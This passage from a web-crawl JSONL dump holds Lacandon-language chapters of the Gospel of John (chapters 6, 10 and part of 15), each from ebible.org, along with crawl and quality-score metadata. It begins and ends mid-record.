1.0000044107437134}","num_words":718,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.284,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6\nJesús cu jansic cinco mil xib\n(Mt. 14.13‑21; Mr. 6.30‑44; Lc. 9.10‑17)\n1 Pachir Jesús caj binij pichij c'ac'nab Galilea. U jer u c'aba' u c'ac'nabir Tiberias. 2 Ya'ab mac tan u binob tu pach Jesús quire' tu yirob carem u beyaj. Baxuc caj yirob u jawsa'rob a mac yʌn u yajirir. 3 Rajen Jesús naquij ich u jo'r chan p'uc wits yejer u camsʌwinicob Jesús caj curʌj quir u camsic ti'ob. 4 Tabar u c'uchur tu q'uinin u qui'qui' janʌnob u winiquirob judío ra' u q'uinin pascua. 5 Jesús caj u yiraj a pimo' tan u tarob cʌxta'bir. Rajen caj u ya'araj ti' Felipe:\n―Tu quic bin ic mʌnic yoch pan quir ic jansic a pimo' a cu tarob.\n6 Baxuc caj u ya'araj Jesús quire' cu tumtic Felipe yubej ba' cu ya'aric quire' a Jesúso' yer ba' cu bin u betej. 7 Felipe caj u nuncaj ti' tan ya'aric:\n―Cax wa yʌn u taq'uin a mun cu jaric mac turiri' yaxq'uin, quir a mʌnic yoch pan ti' a pimo', mʌ' ju bin nup'ur cax ca'ca' xet'.\n8 Andrés, ra'iri' u camsʌwinic Jesús xan. Andrés, u yits'in Simón Pedro, caj ya'araj ti':\n9 ―Ti' yʌn chan chichan tera' yʌn ti' cinco yo'och pan beta'b ti' u pʌc'ar cebada ra' yoch u winiquirob judío. Yejer ca'tur cʌy. Je' wa ju rʌc nup'ur ti' a pimo' quire' jach pim?\n10 Jesús caj ya'araj ti' u camsʌwinicob:\n―Arex ti'ob ca' curacob ich su'uc.\nQuire' ti' yʌn ya'ab su'uc tub yʌnob. Caj curʌjob, yʌn cinco mil xib. Mʌ' tu xacajob mun xquic yejer chichan.\n11 Jesús caj u chucaj pan a cincojo' caj u ya'araj ti':\n―Bayo' C'uj.\nCaj ts'oqui' caj u ts'aja ti' u camsʌwinicob quir u jʌsicob ti' a pimo', a ti' cura'anob. Baxuc caj u betaj xan yejer yoch cʌy, tan u rʌc jʌsic ti'ob a mun u c'at. 12 Caj nachʌjob. Jesús caj ya'araj ti' u camsʌwinicob:\n―Marex u xet'er tu' mʌ' ju rʌc jantob soc mʌ' u sa'atʌr.\n13 Rajen tu rʌc marob u xet'er. Caj u but'ob ich xac, rʌc chupij doce xac a mun yʌn samo' cinco yoch pan a beta'b ti' yoch cebada. 14 A pimo' caj u yirob ba' caj u betaj Jesús quire' yerob carem u beyaj. A pimo' cu pacran aricob:\n―Mʌ' wa raji' jach jaj yʌjtseq'uir u t'ʌn C'uj a ara'b bin u ca' tar tera' ich yoc'ocab?\n15 Chen Jesús caj u najtaj a pimo' u c'at u ts'ʌricob u pach u yocar rey ten u piman. Rajen Jesús caj bin tu junan ich u jo'r p'uc wits.\nJesús cu ximbar ich yoc'o ja'\n(Mt. 14.22‑27; Mr. 6.45‑52)\n16 U camsʌwinicob Jesús tan yiricob tan yac'birchʌjʌr caj bin ich chi' c'ac'nab. 17 Caj ruc'ocob ich chem quir u ch'ʌcticob c'ac'nab quir u c'uchurob ich u cajar Capernaum. Jach ac'birchʌjij tan u binob ich chem. A Jesúso', mʌ' toy uruqui'. 18 Caj u yʌnxchun u tar yic'ar. Jach c'am caj jach nuquij u tar u yamin xan. 19 Caj nachijob tan u binob yejer chem. Yʌn cinco kilómetros caj yirob Jesús. Tan u ximbar ich yoc'o ja', tan u c'ʌs nats'ʌr ich chem caj u ch'aj sajquirob u camsʌwinicob caj yirob u tar Jesús. 20 Chen Jesús caj ya'araj ti'ob:\n―Ten ca wiriquenex ―quij―, mʌ' a ch'iquex sajquir.\n21 Caj qui'jij yorob caj acsa'b Jesús ich chem. Rajen seb caj c'uchob pichij c'ac'nab tu cu binob ca'ch.\nA pimo' tan u cʌxticob Jesús\n22 Caj sasij a pimo' a p'atob pichir c'ac'nab caj u najtob binob u camsʌwinicob tu junanob ich chem. Quire' ti' yʌn turiri' u chem ich chi' c'ac'nab ca'ch. Caj u najtob xan mʌ' binij Jesús yejer u camsʌwinicob. 23 Tarob u jer chemob ti' u tar ich u cajar Tiberias ti' manob tu' jansa'b a pimo' ten u Jaj Ts'urir caj ts'oc ya'aric:\n―Bayo' C'uj ―quij.\n24 Quire' tu yirob mʌ' ti' yʌn Jesús mʌ' ti' yʌn u camsʌwinicob xan. Caj ocob ich chem. Caj binob ich u cajar Capernaum quir u cʌxta'ob Jesús.\nA Jesúso' raji' irej yoch waj soc u ts'ic u cuxtar munt q'uin ti' mac\n25 Caj c'uchob a pimob ich pichi c'ac'nab caj u nup'ob Jesús caj u c'atob ti', tan ya'aricob:\n―In wʌjcamsʌyʌjirech, tu' q'uin c'uchuquech tera'?\n26 Jesús caj ya'araj ti'ob:\n―Taj quin wa'aric techex. Tarechex a cʌxtiquenex quire' ta wu'yajex najchʌjechex ti' a woch pan. Mʌ' tarechex a cʌxtiquenex quire' ta wacsajex ta wor ten a carem beyaj tin betaj. 27 Mʌ' rajra' ca tucriquex a wochex quire' cu xupur aro'. Ca' a cʌxtex a wochex ti' a pixamex quire' munt q'uin ti' yʌn a pixamex. Je' in ts'ic techex a teno' a mac tuchi'ta'b ten C'uj. Quire' baxuc caj u ts'aj in beyaj in Tet C'uj.\n28 A pimob caj u nuncob tan ya'aricob:\n―Bic tabar ic betic u beyaj C'uj?\n29 Jesús caj u nuncaj ti'ob tan ya'aric:\n―Ra' u beyaj C'uj quir a wacsiquex ta worex ten quire' tu tuchi'ten C'uj.\n30 A pimob caj ya'arob:\n―Ba' carem beyaj ca wesic tenob soc c'ucha'an in worob in wacsicob tin worob ti' a t'ʌn? Ba' beyaj ca wesic tenob? 31 Ic nunquir caj u jantob yoch mana a irej waj uch ich tacay ru'um. Baxuc cu ya'aric tu ts'iba'an u t'ʌn C'uj: \"A tu ts'aj ti'ob yoch waj a manajo' a cu tar ich ca'anan. Baxuc tech yʌn a ts'ic tenob.\"\n32 Jesús caj ya'araj ti'ob:\n―Taj quin wac techex. Mʌ' Moisés caj u ts'aja ti' a nunquirex yoch pan a manajo' ich tacay ru'um. C'ub u beyaj Moisés ten C'uj. Chen C'uj tu ts'aj ti'ob quir u janticob. A tu jantajob a nunquirex uch chen quir u cuxtar a tera' ich yoc'ocab. Chen baje'rer in Tet cu bin u ts'ic techex a wochex quir a cuxtar munt q'uin. 33 A C'ujo' cu ts'ic yo'och a jach jaj cu tar ti' ca'anan. A je' ocha' quir a cuxtarex munt q'uin a mac a ti' yʌnob ich yoc'ocab.\n34 A pimob caj u ya'araj ti' Jesús:\n―In Jaj Ts'urob rajra' ca ts'ic tenob in woch panob a ca tsicbʌtic tenob baje'rer.\n35 Jesús caj ya'araj ti'ob:\n―An ten bic cu cuxriquechex ti' a wo'och wajex. Baxuc a teno' iren waj quir a cuxtarex munt q'uin. A mac a cu tar tin wicnʌn tan yacsic tu yor ten. Aro' irej wa mʌ' u yuc'chʌjʌr baxuc irej wa mʌ' ju wi'chʌjʌr xan. 36 Chen a teno' caj in wa'araj techex cax ta wirenex mʌ' a c'atex a wacsex ta worex ten. 37 Tu cotor mac a cu ts'abʌr ti' ten C'uj. Je' u tar tin wicnʌn. A mac a cu tar tin wicnʌn ten qui' in wor in ts'ic ti'ob u cuxtar munt q'uin. Mʌ' biq'uin quin bin in joc'sic. 38 In Tet caj u tuchi'tajen mʌ' quir in betic a ba' in c'at a teno'. A teno' taren quir in betic a ba' u c'at in Tet quire' raji' tu tuchi'ten. 39 In Tet a mac a tu tuchi'ten, u c'at u yiric tu cotor mac a tu ts'ajten mʌ' u sa'tʌr mʌ' turiri'. Wa cu quimin je' in ric'sic ca' bin c'uchuc tu q'uinin u xur t'ʌne'. 40 Baxuc u c'at in Tet xan tu cotor mac a cu ya'aric: \"U pararech C'uj\" ti' ten. A mac a cu quibic in t'ʌn je' in taquic soc u cuxtar munt q'uin. Wa cu quimin je' in ric'sic ca' bin c'uchuc tu q'uinin u xur t'ʌne'.\n41 U winiquirob judío caj u yʌnxchun u choctar yorob ti' Jesús quire' a ba' caj u yubob ya'aric quire' Jesús caj u ya'araj: \"A teno' iren a woch wajex a cu tar ich ca'anan quir a cuxtarex munt q'uin.\" 42 U winiquirob judío caj ya'arob; tan u pacran aricob:\n―Mʌ' wa raji' Jesús, u parar José? Ij quiramʌn u tet yejer u nʌ'. Chen cu ya'aric ti' u tar ich ca'anan. Bic tabar aro'?\n43 Jesús caj u nuncaj ti'ob tan ya'aric:\n―Mʌ' u choctar a worex ten. 44 Mʌna' mac cu bin tar tin wicnʌn quir u yacsic tu yor wa mʌ' teta'b ten C'uj a mac tu tuchi'tajen. A mac cu tar tin wicnʌn quir u yacsic tu yor wa cu quimin je' in ca' ric'sique' ca' binin c'uchuc u q'uinin cu xur t'ʌne'. 45 Mʌ' ja wirej, baxuc tu ts'ibtajob yʌjtseq'uirob u t'ʌn C'uj uch, tan ya'aricob: \"Tu cotor mac cu bin camsabir ten C'uj.\" Baxuc caj u ya'arajob yʌjtseq'uirob u t'ʌn C'uj. Rajen tu cotor mac tu yubob a ba' caj u ya'araj Juan a mac Jesúso', quij Juan. Raji'ob camsa'b ten C'uj, rajen cu tar tin wicnʌn quir u cʌnicob in t'ʌn.\n46 'Mʌna' mac yiramʌn u wich C'uj. Caj ya'araj Jesús. Chen ten tin junan caj in wiraj u wich C'uj quire' ti' in tar a teno' ―quij Jesús―. 47 Taj a ba' quin wac techex ―quij Jesús―, a mac a cu yacsic tu yor tene' yʌn u cuxtar munt q'uin. 48 A teno' iren a woch wajenex ―quij Jesús―, quir in ts'ic a cuxtarex munt q'uin. 49 A nunquirex a ucho' caj u jantob yoch mana irej a woch panex ich tacay ru'um. Chen mʌ' ju yirob u cuxtar munt q'uin cax tu jantajob a manajo', chen quimob. 50 A woch panex a quin tsicbar techex, toc tarij ti' ca'anano' soc a mac a cu jantic ti' je' u cuxtar munt q'uine'. 51 A teno' taren ich ca'anan, iren a woch wajenex quir a cutarex munt q'uin. Tu cotor mac a cu jantic yoch waj a quin tsicbar ti' techex, je' u cuxtar munt q'uine'. A woch wajex a quin ts'ic techex raji' in winquirir. Je' in ts'ic ti' soc tu cotor mac cu bin u cuxtar munt q'uin.\n52 Rajen u winiquirob judío caj u chich arob tan ya'aricob:\n―Bic tabar cu bin u ts'ic to'on u winquirir quir ic chi'ic?\n53 Jesús caj ya'arj ti'ob:\n―Taj quin wa'aric techex wa mʌ' a jantiquex in winquirir a teno' iren techex mʌ' ja bin a cuxtarex munt q'uin. Wa mʌ' ja wuq'uiquex in q'uiq'uer mʌ' ja bin a cuxtarex munt q'uin. 54 A mac a cu jantic in winquirir yejer in q'uiq'uer cu yuq'uic, munt q'uin cu bin cuxtar wa cu quimin. A teno' je' in ric'sic ca' bin c'uchuc tu q'uinin u xur t'ʌne'. 55 Mʌ' ja wirej, in winquirir irej a jach ochex a ca jantiquex. In q'uiq'uer xano' irej a jach uc'urex a ca wuq'uiquex. Rajen a mac a cu jantic je' u cuxtar munt q'uine'. Baxuc a mac a cu yuq'uic in q'uiq'uer je' u cuxtar munt q'uine'. 56 A mac a cu jantic in winquirir baxuc cu yuq'uic in q'uiq'uer p'eri'en yejer quire' ti' yʌnen tu pixam. 57 In Teto' a mac tu tuchi'tajen raji' yʌn u cuxtar munt q'uin quire' a C'ujo' toc berer uch. Rajen yʌn in cuxtar a teno' quire' in Tet C'uj. Baxuco' a mac a cu jantic in winquirir cu bin u cuxtar munt q'uin quire' ten quin ts'ic u cuxtar. 58 A woch wajex a quin tsicbʌtechex ts'oc u tar ich ca'anan. Raji' mʌ' quet yejer yoch mana a tu jantob a nunquirex uch. Quire' mʌ' tu yirob u cuxtarob munt q'uini' cax tu jantob a manajo' toc rʌc quimob uch. Chen a mac cu jantic a wajo' a quin tsicbʌtechex baje'rer munt q'uin cu bin cuxtar.\n59 Jesús ti' tu camsajob a jera' ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío ich u cajar Capernaum.\nJesús cu camsic bic u cuxtarob munt q'uin\n60 Ya'ab u q'uinin tan u tar ya'ab mac tu pach Jesús quir u cʌnicob u t'ʌn. Caj u yubob a ba' caj u ya'araj Jesús caj ya'arob:\n―Jach yaj ij cʌnic aro' mʌ' ij c'at ij cu'yic aro'.\n61 Chen Jesús tu najtaj tu yor tan u choctar yorob u camsʌwinicob. Rajen tu c'ataj ti'ob:\n―Cu joc'siquex wa ja worex a tin wa'araj techex? 62 Ba' ca bin a wa'ariquex wa ca' bin a wirex in bin tub in wʌc'ʌs tar uch a teno' a mac tuchi'ta'ben ten C'uj? 63 Quire' a pixamex je' u cuxtarex munt q'uin quire' a winquirirex mʌ' neno'ji'. Mʌ' ja wirej, in t'ʌn a tin wa'araj techex, raji' ti' a pixamex quir u cuxtarex munt q'uin. 64 Ti' toj yʌnechex jun yarechex, mʌ' toy a wacsex a worex.\nQuire' Jesús u toc er tu yʌnxchun u beyaj mac cu quibic u t'ʌn, baxuc a mac a cu bin u c'ubur Jesús. 65 Caj ara'b ti'ob ten Jesús:\n―Rajen caj in wa'araj techex uch mʌna' mac cu tar tu yʌnen quir u cʌnic in t'ʌn wa mʌ' teta'b ten C'uj.\n66 Rajen ya'ab mac a cu sayʌr tu pach Jesús caj u p'ʌtob u binob tu pach Jesús caj wʌc'ʌs binob tu yatoch. 67 Jesús caj u c'ataj ti' u camsʌwinicob a docejo':\n―Ba' ca tucriquex? Je' wa ja wʌc'ʌs binex ta watochex?\n68 Simón Pedro caj u nuncaj ti' Jesús tan ya'aric:\n―Mʌna' mac quir ic bin ic tsicbar ti' u t'ʌn C'uj. Chen a techo' yʌn a t'ʌn quir ij cuxtarex munt q'uin. 69 Quire' a tenobo' tin toc wacsob tin worob tech. Quire' a techo' in werob Cristojech raji' tu ts'aj a beyaj C'uj quir a yamtiquenob quire' u pararech C'uj a cuxa'ano'.\n70 Jesús caj u nuncaj ti'ob tan ya'aric:\n―A teno' tin tetajechex doce chen ti' yʌn turiri' ich techex a mac aca'an quisin ti'.\n71 Jesús tan u tsicbar, ti' Judas u parar Simón Iscariote quire' raji' cu bin u c'ubic Jesús. Quire' raji' turiri' ich a doce u camsʌwinicob.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN06.htm","date":"2022-05-28T08:01:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663013003.96\/warc\/CC-MAIN-20220528062047-20220528092047-00500.warc.gz","language":"lac","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000025033950806}","num_words":2178,"character_repetition_ratio":0.076,"word_repetition_ratio":0.006,"special_characters_ratio":0.291,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10\nJesús cu camsic ti' a mac a taj u yʌjcʌnanyʌjirob tʌmʌn yuc\n1 Jesús caj ya'araj ti' a pimob:\n―Taj a ba' quin wac techex. Rajen u'yex, a mac a cu tar ya'cric tʌmʌn yuc, mʌ' ju yocar tu jor u pa'te' tu jap'nin quir u ya'cric. Cu chen nacatic u pa'te'ir quir u ya'cric. 2 Chen a mac raji' u jach winquirir u tʌmʌn yuc cu jach ocar tu jor u pa'te'ir tu' yʌn yʌrʌc' tʌmʌn yuc. 3 A mac a cu cʌnantic u jor u pa'te'ir tu' yʌn yʌrʌc' tʌmʌn yuc cu q'ue'ic u jor u pa'te'ir soc u yocar a taj yʌjcʌnanyʌjir tʌmʌn yuc. A tʌmʌn yuco' cu c'ʌ'otic u t'ʌn u winquirir. Cu t'ʌnic u yʌrʌc' tʌmʌn yuc quire' jujuntur yʌrʌc' tʌmʌn yuc cu t'ʌnic u c'aba' soc u pʌyic ich tancab ca' joc'acob ich u pa'te'ir. 4 Caj ts'oc u joc'sic tu cotor u yʌrʌc' tʌmʌn yuc cu pʌyic u berob. U yʌrʌc' tʌmʌn yuc cu sayʌrob tu pach quire' cu c'ʌ'oticob u t'ʌn, rajen cu binob tu pach. 5 U tʌmʌn yuc mʌ' u sayʌrob tu pach a mac a mʌ' u yocar tu jor u pa'te'ir quire' mʌ' ra' u winquirir. Cu puts'urob u tʌmʌn yuc quire' mʌ' u c'ʌ'oticob u t'ʌn.\n6 Jesús caj u ya'araj a je' t'ʌna' quir u camsic ti' a mac a mucha'an ti'o'. Chen mʌ' tu najtob a ba' u c'at ya'aric.\n\"Quin qui' cʌnantic a mac cu yacsic tu yor teno'\"\n7 Jesús caj ya'araj ti' a pimob:\n―Taj quin wa'aric techex, a teno' yʌjcʌnanyʌjiren u jor u pa'te'ir tu' yʌn yʌrʌc' tʌmʌn yuc C'uj. 8 A mac a ca tucriquex yʌjcʌnanyʌjirob, robob irob a mac a cu ya'cric tʌmʌn yuc quire' u c'at u taquic ti' ten a mac a cu sayʌrob tin pach. Mʌ' ju yubicob u t'ʌn u tus ʌjcʌnanyʌjirob tʌmʌn yuc. 9 A teno' ―quij Jesús―, quin cʌnantic u jor u pa'te'ir tu' yʌn yʌrʌc' tʌmʌn yuc C'uj. A mac a cu yacsic tu yor ten quire' yerob quin bin in taquej. Robob waysa'b irob yʌrʌc' tʌmʌn yuc C'uj. Cu bin cʌnanbirob ten C'uj, cu bin jach qui'quinbir yorob ten C'uj.\n10 'A mac a cu tar ya'cric tʌmʌn yuc, ra' u beyaj quir u ya'cric. Baxuc quir u quinsic. Baxuc quir u ch'esic xan. Chen a teno' taren in ts'ic ti'ob u cuxtarob munt q'uin soc jach manan u qui' tar yorob. 11 An ten bic a mac yʌjcʌnanyijir tʌmʌn yuc a jach tsoyo' cu qui' cʌnantic u yʌrʌc' tʌmʌn yuc cax quinsbir ti' u yʌrʌc' tʌmʌn yuc. Baxuc a teno' quin qui' cʌnantic mac a cu yacsic tu yor ten cax quinsbiren quir in taquic ti'ob. 12 Chen a mac u chen c'at u cʌnantic tʌmʌn yuc ca' bin yirej u tar bʌc' chi'bir u yʌrʌc' tʌmʌn yuc cu puts'ur quire' mʌ' raji' u winquirir. Rajen chi'bir yʌrʌc' tʌmʌn yuc ten bʌc' rʌc wacche' u binob yʌrʌc' tʌmʌn yuc. 13 A mac a cu chen c'at u cʌnantic tʌmʌn yuc cu puts'ur quire' mʌ' u yajquintic tʌmʌn yuc. 14 An ten bic a mac yʌjcʌnanyʌjir tʌmʌn yuc a jach tsoyo'. Cu qui' cʌnantic u tʌmʌn yuc. Baxuc a teno' quin qui' cʌnantic a mac a cu yacsic tu yor ten. In wer mac tu yacsaj tu yor ten. Baxuc xan robob yerob tu yacsajob tu yor ten. 15 In pacran erob in bʌjob an ten bic in Tet yeren in pacran erob in bʌjob. In Tet yeren xan, baxuc ten in wer in Tet xan. Baxuc quin c'ubic in bʌj soc in quinsa' ti' a mac a cu sayʌr tin pach. 16 Yʌn mac mʌ' u winiquirob judío cu bin u yacsicob tu yorob ten xan. Bin in ca' in pʌyejob xan. Robob cu bin u yubicob in t'ʌn xan soc p'eri'ob yejerechex u winiquirechex judío chen turiri' yʌjcʌnanyʌjir, raji'en.\n17 'In Teto' cu yajquintiquen quire' tin c'ubaj in bʌj soc in quinsa' ti' a mac a cu sayʌrob tin pach. Pachir in ca' riq'uir. 18 Mʌna' mac c'ucha'an yor u quinsiquen. In wʌc'ʌs bʌjiri' in c'at in cha'ic in quinsa'. C'ucha'an in wor in cha'ic in quinsa'. C'ucha'an in wor in wʌc'ʌs riq'uir quire' baxuc caj u ya'araj ten in Tet. Baxuc tu ts'aj u t'ʌnin ti' in Tet xan.\n19 Rajen mʌ' quet yorob a pimob a ba' caj u yubob ya'aric Jesús. 20 Ya'ab mac tu ya'arob:\n―Aca'an ti' c'ac'as quisin.\nU jerob cu ya'aricob:\n―Chochoc t'ʌn u ca' quire' mʌna' yor. Biquinin ca wu'yiquex u t'ʌn?\n21 U jerob u winiquirob judío caj ya'arob:\n―Raji' mʌ' u tsicbar baxuc wa aca'an c'ac'as quisin. Mʌ' ja wirej, a mac aca'an c'ac'as quisin mʌ' c'ucha'an yor u jawsic a mac ch'op u wicho' ―baxuc ya'arob.\nU winiquirob judío u c'at quinsicob Jesús\n22 C'uchij tu q'uinin u qui'qui' janʌnob u winiquirob judío ich u cajar Jerusalén. Ra' u q'uinin u winiquirob judío cu c'ʌ'oticob caj ts'oc u qui' tsoyquinticob carem naj tu cu naj c'ujinticob C'uj uch soc ti' cu wʌc'ʌs c'ujinticob C'uj. 23 Ra' u q'uinin que'er tan xet'ir. Ti' yʌn Jesús ca'ch tan u man tu jap'nin carem naj tu re'ja'an naj u c'aba' Salomón. 24 U winiquirob judío caj u much'quintob u bʌj caj u bʌ'cristob Jesús caj ya'arob ti':\n―Arej tenob ber ca' bin ts'ocac a choquintic in worob. Mʌ' a mucric, toc arej tenob wa Cristojech a tuchi'ta'bech ten C'uj.\n25 Jesús caj u nuncaj ti'ob tan ya'aric:\n―Tin toc araj techex chen mʌ' ja quibiquex. A wiramʌnex xan tin betaj carem beyajob quire' tu yamtajen in Tet C'uj. Raji' cu yesic tar in tar ich C'uj. 26 A techexo' mʌ' ja quibiquex in t'ʌn quire' mʌ' ten yʌninechex baxuc caj in wa'araj techex uch. 27 Quire' a mac ten yʌnin ―quij Jesús―, a cu yubicob in t'ʌn quire' in wer maqui'. Robob cu sayʌrob tin pach. 28 Quin ts'ic u cuxtarob munt q'uin mʌ' ju bin satʌrob mʌ' biq'uin. Mʌna' mac c'ucha'an yor u taquic ten quire' ten yʌnin. 29 In Tet C'uj caj u ts'aj ti'ob ten soc ten yʌninob. In Teto' jach manan c'ucha'an yor ti' tu cotor ba'. Mʌna' mac c'ucha'an yor u taquic ti' in Tet quire' raji' yʌninob xan.\n30 Jesús caj ya'araj:\n―A teno' yejer in Tet turiri'enob.\n31 Rajen u winiquirob judío tu ca' chucob tunich u c'atob u ch'inicob u jo'r Jesús. 32 Jesús caj ya'araj ti'ob tan ya'aric:\n―A techexo' a wiramʌnex ya'ab carem in beyaj caj in betaj quire' tu yamtajen in Tet. Arex ten ba' tsoyir beyaj ta wirex in betic. Rajen a c'at a ch'iniquex in jo'r.\n33 U winiquirob judío caj u nuncob ti' tan ya'aricob:\n―Mʌ' jin bin in ch'inicob a jo'r quire' tsoy a beyaj. Quin bin in ch'inicob a jo'r quire' tan a p'astic C'uj. Mʌ' ja wirej, chen xibech ca tucric C'ujech.\n34 Jesús caj u nuncaj ti'ob tan ya'aric:\n―Ti' ts'iba'an tu cu ya'aric C'uj ti' techex: \"Techex, quij C'uj, ca wesiquenex ti' mac C'ujen.\"\nAro' ara'b ti' u juez u winiquirob judío uch ten C'uj. 35 Baxuc caj ara'b ti' a mac ts'ab u beyajob ten C'uj uch. Rajen mʌ' ju bin ruc'sa'bir ich u t'ʌn C'uj tu ts'iba'an. 36 A techexo' u winiquirechex judío ca waquex jach tsoyo' a mac ara'b ten C'uj ca wesiquenex ti' mac C'ujen. Rajen biquinin ca wa'ariquex quin p'astic C'uj quire' tin wa'araj u pararen C'uj. Mʌ' ja wirej, tu ts'aj in beyaj C'uj, rajen taren ich yoc'ocab. 37 Wa ca tucriquex, mʌ' u beyaj C'uj quin betic mʌ' a yʌn acsiquex ta worex ten. 38 Wa ca wiriquex ra' u beyaj C'uj quin betic, quibex aro', cax mʌ' a quibiquex in t'ʌn. Quire' wa ca quibiquex ra' u beyaj C'uj quin betic, baxuc a werex xan turi'en yejer C'uj.\n39 Rajen u ca' c'atob u chuquicob Jesús chen mʌ' c'ucha'an yorob u chuquicob chen Jesús puts'ij.\n40 Tu ca'ten ca' bin Jesús pichir ya'arir Jordán tu cu tar ic yum, ti' p'atij tu cu yacsic ja' tu jo'r mac Juan uch. 41 Ti' toy yʌn Jesús pʌchir ya'arir Jordán caj tarob ya'ab mac quir u yirirob Jesús. A pimob caj u pacran arob:\n―Cax Juan mʌ' tu yesaj carem beyaj chen taj a ba' caj u ya'araj Juan ti' Jesús.\n42 Rajen ya'ab mac tu yacsob tu yorob ti' Jesús.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN10.htm","date":"2022-05-28T08:21:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663013003.96\/warc\/CC-MAIN-20220528062047-20220528092047-00525.warc.gz","language":"lac","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000057220458984}","num_words":1342,"character_repetition_ratio":0.082,"word_repetition_ratio":0.009,"special_characters_ratio":0.285,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15\nA teno' iren u yaq'uir u wich uva\n1 Jesús caj ya'araj ti' u camsʌwinicob:\n―A teno' ―quij―, iren u yaq'uir u wich uva. In Tet C'uj irej a mac cu cʌnantic u yaq'uir u wich uva. 2 Tu cotor mac cu tar tin wicnʌn irob u xa'yar yaq'uir uva. A mac a cu tar tin wicnʌn a mʌ' u betic a ba' u c'at in Tet C'uj, raji' irej u xa'yar yaq'uir uva a mʌ' u ts'ic u wiche'. Wa ju xa'yar yaq'uir a mʌ' u ts'ic u wich a mac cu cʌnantic u yaq'uir uva cu janc'ubtic u xa'yar yaq'uir. Baxuco' in Tet C'uj cu bin u betej ti' a mac a mʌ' u betic a ba' u c'at C'uj. Chen a mac cu tar tin wicnʌn a cu betic a ba' u c'at C'uj cu bin yamta'bir ten C'uj soc u man tu tsoyir. Raji' irej u xa'yar yaq'uir uva cu racʌr a ba' mʌ' tsoye', ten a mac a cu cʌnantic soc u nets'ic u wich. 3 Mʌ' ja wirej, in Tet C'uj tu toc ruc'saj a c'asirex a ta betajex quire' ta wacsajex ta worex in t'ʌn a tin wa'araj techex. 4 P'atenex tin wicnʌn soc in p'atʌr ta pixamex. C'aj techex wa ju xa'yar yaq'uir wa mʌ' ti' yʌn ich u jach aq'uir, mʌ' c'ucha'an yor u ts'ic u wichi'. Rajen, wa ca p'atʌrex tin wicnʌn soc in p'atʌr ta pixamex baxuco' c'ucha'an a worex a betic a ba' u c'at C'uj. Quire' wa mʌ' a p'atʌrex tin wicnʌn mʌ' c'ucha'an a worex a betic a ba' u c'at C'uj.\n5 'A teno', iren u jach aq'uir uva, a techexo' irechex u xa'yar yaq'uir uva. A mac a cu p'atar tin wicnʌn quin p'atar xan tu pixam raji'ob cu ts'ic u wich, cu beticob a ba' u c'at C'uj. A wʌc'ʌs bʌjiri'ex mʌ' c'ucha'an a worex ti' mʌna' ba', quire' yʌn in yamtiquechex. 6 A mac a mʌ' u c'at u quibic in t'ʌn, raji' mʌ' u c'at u p'atʌr tin wicnʌn. Raji' irej u xa'yar yaq'uir uva a mʌ' u ts'ic u wich. Rajen cu janch'ʌctic. U xa'yar yaq'uir uva a tu janch'ʌctaj cu tijir. Pachir cu tar u maric quir u toquic ich c'ac'.\n7 'Wa ca p'atʌrex tin wicnʌn, baxuc wa cu p'atʌr in t'ʌn ta pixamex, c'ucha'an a worex a c'atiquex tu cotor ba' a c'atex ti' C'uj. Je' u ts'ic techex. 8 Wa rajra' ca betiquex a jach tsoyo' in Tet C'uj cu bin sʌjta'bir C'uj ten tu cotor mac. Baxuco' ca wesiquex in jach camsawiniquechex. 9 An ten bic in Tet cu yajquintiquen, baxuc techex quin yajquintiquechex. P'atenex soc in yajquintiquechex. 10 Wa ca quibiquex tu cotor a ba' quin wac techex. A baywo' quin yajquintic techex an ten bic in Tet C'uj cu yajquintiquen quire' tin quibaj tu cotor a ba' caj u ya'araj ten.\n11 'Rajen quin wa'aric techex aro' soc rajra' qui'ex a worex an ten bic ten qui' in wor. A baywo' jach manan qui'ex a worex. 12 A je' in t'ʌna' tan in wac techex ca' a pacran yajquintiquex a bʌjex an ten bic ten caj in yajquin techex. 13 A mac a cu c'ubic u bʌj quir u quinsa' ti' a mac a cu jach yajquintic, raji' jach manan cu yajquintic. Baxuc quin bin in betej a teno', rajen yʌn cʌniquenex. 14 Techex jach manan quin yajquintiquechex wa ca betiquex a ba' tin wa'ara techex baje'rer. 15 Baje'rer ra'iri'o'onex quire' tin cha' a najtiquex tu cotor a ba' in wu'ymʌn ich in Tet C'uj. A mac a cu beyaj mʌ' ara'b ten u ts'urire' tu cotor ba' cu tucric u betic. Chen ten tin toc araj techex rajen baje'rer mʌ' in c'urewechex quire' ra'iri'o'onex. 16 A techexo' mʌ' ta tetajenex chen ten tin tetajechex. An ten bic u yaq'uir uva ts'a'b u beyaj ten C'uj quir u wichʌncʌr. A teno' tin ts'aj techex a beyajex soc a wesic u beyaj C'uj ta pixamex. U yaq'uir uva yʌn u q'uinin quir u wichʌncʌr. Chen mʌ' baxuc techex quire' techex rajra' c'ucha'an a worex a wesiquex u beyaj C'uj ta pixamex. Rajra' ca bin a betiquex aro' quire' ta wacsex ta worex ten. Rajen a ba' ca c'atiquex ti' in Tet C'uj je' u ts'ic techex. 17 A je' in t'ʌna' tan in wac techex: ca' a pacran yajquintex a bʌjex.\nU camsʌwinicob cu bin p'actabir ten a mac ti' yʌn ich yoc'ocab\n18 Jesús caj ya'araj ti' u camsʌwinicob:\n―Wa mac cu p'actiquechex mʌ' a p'ʌtiquex in t'ʌn, c'aj techex ten tu yʌn p'acten a teno'. 19 Wa techex irechex a mac ti' yʌn yoc'ocab cu yajquintiquechexob quire' irechexob a mac ti' yʌn yoc'ocab. Chen mʌ' irechex a mac ti' yʌnob 